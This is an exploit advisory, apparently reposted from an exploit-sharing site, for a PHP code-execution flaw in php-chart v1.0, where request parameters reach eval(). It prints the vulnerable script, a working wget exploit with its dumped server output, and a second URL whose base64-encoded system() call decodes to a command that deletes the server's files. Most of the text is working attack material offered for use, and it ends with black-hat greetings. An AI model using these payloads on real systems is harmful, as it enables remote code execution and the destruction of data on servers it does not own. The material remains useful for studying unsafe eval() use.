Bu vuln isə skriptdə userin inputu üzərində təhlükəli eval() construction-nun istifadəsi nəticəsində PHP Code Executiondur.
Riski çox yüksəkdir.
http://cxsecurity.com/issue/WLB-2013010137
Kod:
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0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm AkaStep member from Inj3ct0r Team 1
1 ######################################### 0
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===============================================================
Vulnerable Software: php-chart_v1.0
Official Site: http://php-charts.com/
Vuln: PHP Code Execution.
===============================================================
Tested On: Debian squeeze 6.0.6
Server version: Apache/2.2.16 (Debian)
PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug 6 2012 20:08:59)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH
================================================================
About Software:
Php-Charts is basically a class which can be used to generate
different charts(Bar, Pie, Doughnut etc.) in different format(PDF, PNG, JPG, HTML)
using different data source(csv, xml, MySQL, MS Sql, MS Access, PostgreSql,
user defined data).
================================================================
About vuln:
root@debian:/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard# cat url.php
<?php
require("../lib/phpchart.class.php");
$color_var=array("txt_col","line_col","bg_color");
$cname=$_GET["type"];
$chart=new PHPChart($cname);
foreach($_GET as $key=>$value)
{
if($value!="")
{
if(in_array($key,$color_var))
eval('$chart->'.$key.'="#'.$value.'";');
else if($value=='yes')
eval('$chart->'.$key.'=true;');
else if($value=='no')
eval('$chart->'.$key.'=false;');
else if(is_numeric($value))
eval('$chart->'.$key.'='.$value.';');
else
eval('$chart->'.$key."='".$value."';");
}
}
$chart->genChart();
Exploitation:
root@debian:/tmp# wget 'http://hacker1.own//wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY' -O out.txt && cat out.txt
--2013-01-15 21:19:16-- http://hacker1.own//wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY
Resolving hacker1.own... 127.0.0.1
Connecting to hacker1.own|127.0.0.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: “out.txt”
[ <=> ] 1,917 --.-K/s in 0s
2013-01-15 21:19:17 (8.56 MB/s) - “out.txt” saved [1917]
Notice: Undefined index: type in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php on line 4
array(28) {
["DOCUMENT_ROOT"]=>
string(28) "/etc/apache2/htdocs/hacker1/"
["GATEWAY_INTERFACE"]=>
string(7) "CGI/1.1"
["HTTP_ACCEPT"]=>
string(3) "*/*"
["HTTP_CLIENT_IP"]=>
string(9) "127.0.0.1"
["HTTP_HOST"]=>
string(11) "hacker1.own"
["HTTP_USER_AGENT"]=>
string(21) "Wget/1.12 (linux-gnu)"
["HTTP_VIA"]=>
string(77) "http/1.0 debian[FE800000000000000A0027FFFE077FC6] (ApacheTrafficServer/3.2.0)"
["HTTP_X_FORWARDED_FOR"]=>
string(9) "127.0.0.1"
["PATH"]=>
string(4) "/bin"
["PHPRC"]=>
string(14) "/etc/php5/cgi/"
["QUERY_STRING"]=>
string(45) "$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY"
["REDIRECT_STATUS"]=>
string(3) "200"
["REMOTE_ADDR"]=>
string(9) "127.0.0.1"
["REMOTE_PORT"]=>
string(5) "60830"
["REQUEST_METHOD"]=>
string(3) "GET"
["REQUEST_URI"]=>
string(76) "/wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY"
["SCRIPT_FILENAME"]=>
string(57) "/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php"
["SCRIPT_NAME"]=>
string(30) "/wp/chart/chart/wizard/url.php"
["SERVER_ADDR"]=>
string(9) "127.0.0.1"
["SERVER_ADMIN"]=>
string(21) "webmaster@hacker1.own"
["SERVER_NAME"]=>
string(11) "hacker1.own"
["SERVER_PORT"]=>
string(2) "80"
["SERVER_PROTOCOL"]=>
string(8) "HTTP/1.1"
["SERVER_SIGNATURE"]=>
string(0) ""
["SERVER_SOFTWARE"]=>
string(6) "Apache"
["UNIQUE_ID"]=>
string(24) "UPYOJH8AAQEAAE8eNfMAAAAC"
["PHP_SELF"]=>
string(30) "/wp/chart/chart/wizard/url.php"
["REQUEST_TIME"]=>
int(1358302756)
}
Notice: Undefined variable: in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1
Fatal error: Cannot access empty property in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1
root@debian:/tmp#
Example 2:
http://hacker1.own//wp/chart/chart/wizard/url.php?&123&${var_dump(system(base64_decode(cm0gLXJmIC8q)))}=123456LoL
=====================ENDS HERE============================
================================================
KUDOSSSSSSS
================================================
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1337day.com
to all Aa Team + to all Azerbaijan Black HatZ
+ *Especially to my bro CAMOUFL4G3 *
To All Turkish Hackers
Also special thanks to: ottoman38 & HERO_AZE
================================================
/AkaStep
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